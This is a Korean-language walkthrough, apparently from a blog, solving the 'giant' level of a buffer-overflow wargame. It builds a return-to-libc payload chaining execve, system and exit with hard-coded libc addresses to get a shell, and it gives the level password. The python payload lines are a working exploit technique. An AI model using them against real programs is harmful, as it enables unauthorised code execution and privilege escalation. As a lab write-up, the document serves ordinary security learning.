giant의 소스를 확인하도록 하겠습니다.

소스코드가 많이 길어졌습니다.

먼저 코드의 설명을 하도록 하겠습니다.

 

우선 24~27번까지의 코드를 이용해 libc의 메모리 주소를 획득합니다.

libc가 위치하고 있는 메모리의 주소는 0x40018000입니다.

 

그리고 29~32번까지의 코드를 통해 execve의 오프셋을 구합니다.

execve의 오프셋은 0x00091d48입니다.

 

그리고 34번의 코드를 통해 execve의 메모리상 주소를 구합니다.

0x40018000 + 0x00091d48를 통해 얻은 execve의 메모리상 주소는 0x400a9d48입니다.

 

그후 조건 검사를 통해 argv[1][44]에 오게 되는 주소의 값이 execve의 주소와 같지 않으면 프로그램을 종료합니다.

 

즉 우리는 execve함수를 이용하여 이번문제를 풀어야 합니다.


execve함수에 대한 설명은 다음과 같습니다.

첫번째 인자를 실행하며 두번째 인자는 전달해줄 매개변수 입니다. 세번째 변수는 환경변수가 들어갑니다.

 

Execve에는 exit를 전달하여 바로 종료 execve를 바로 종료하고 system(“/bin/sh”)로 쉘을 획득 할 것입니다.

이를 위한 스택 구조는 다음과 같습니다.

NULL

“/bin/sh”’s address

exit’s address

system()’s address

execve’s address

SFP

Buffer(44byte)

Execve의 값은 0x400a9d48로 구해놓았습니다.

 

나머지 값을 알아보도록 하겠습니다.

system exit함수의 주소는 디버깅을 통해 구하면 됩니다.

system()의 주소는 0x40058ae0,

exit()의 주소는 0x400391e0이네요.

 

이제 /bin/sh의 주소를 얻도록 하겠습니다.

“/bin/sh”가 들어있는 메모리 주소는 0x400fbff9입니다.

NULL은 스택의 0xbfffffffc영역에는 항상 NULL이 들어가므로 이를 이용하겠습니다.

 

다시한번 필요한 정보를 정리해보겠습니다.

execve           : 0x400a9d48

system           : 0x40058ae0

exit               : 0x400391e0

“/bin/sh”        : 0x400fbff9

NULL             : 0xbffffffc

 

이 정보를 종합하여 페이로드를 짜면 다음과 같이 됩니다.

`python –c ‘print “A”*44 + “\x48\x9d\x0a\x40” + “\xe0\x8a\x05\x40” + “\xe0\x91\x03\x40” + “\xf9\xbf\x0f\x40” + “\xfc\xff\xff\xbf”’`


이제 이를 입력하도록 하겠습니다.

이때 중요한것은 \x0a\x00으로 인식하여 뒷부분이 들어가지 않으므로 매개변수를 “”로 묶어 주어야 합니다.

giant의 쉘이 떳습니다.

giant의 패스워드는 one step closer입니다.

 

이 방법 이외에도

execve(&“/bin/sh”, &&”/bin/sh”, NULL)과 같은 입력을 하는 것으로 스택을 구성하여 푸는 방법도 있습니다.


&”/bin/sh”0x400fbff9를 입력해 주면 되고

&&”/bin/sh”는 이름이 0x400fbff9giant의 링크파일을 생성하여 그것이 메모리에 올라가게 하여 그 메모리를 이용하는 것입니다.


이경우의 페이로드는 다음과 같이 됩니다.

`python -c 'print "\xf9\xbf\x0f\x40"'` "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf" + "\xfc\xff\xff\xfb"'`"


그러나 저는 다음 사진 처럼 쉘이 뜨지않고 그냥 종료되어 방법을 변경하였습니다.


+ Recent posts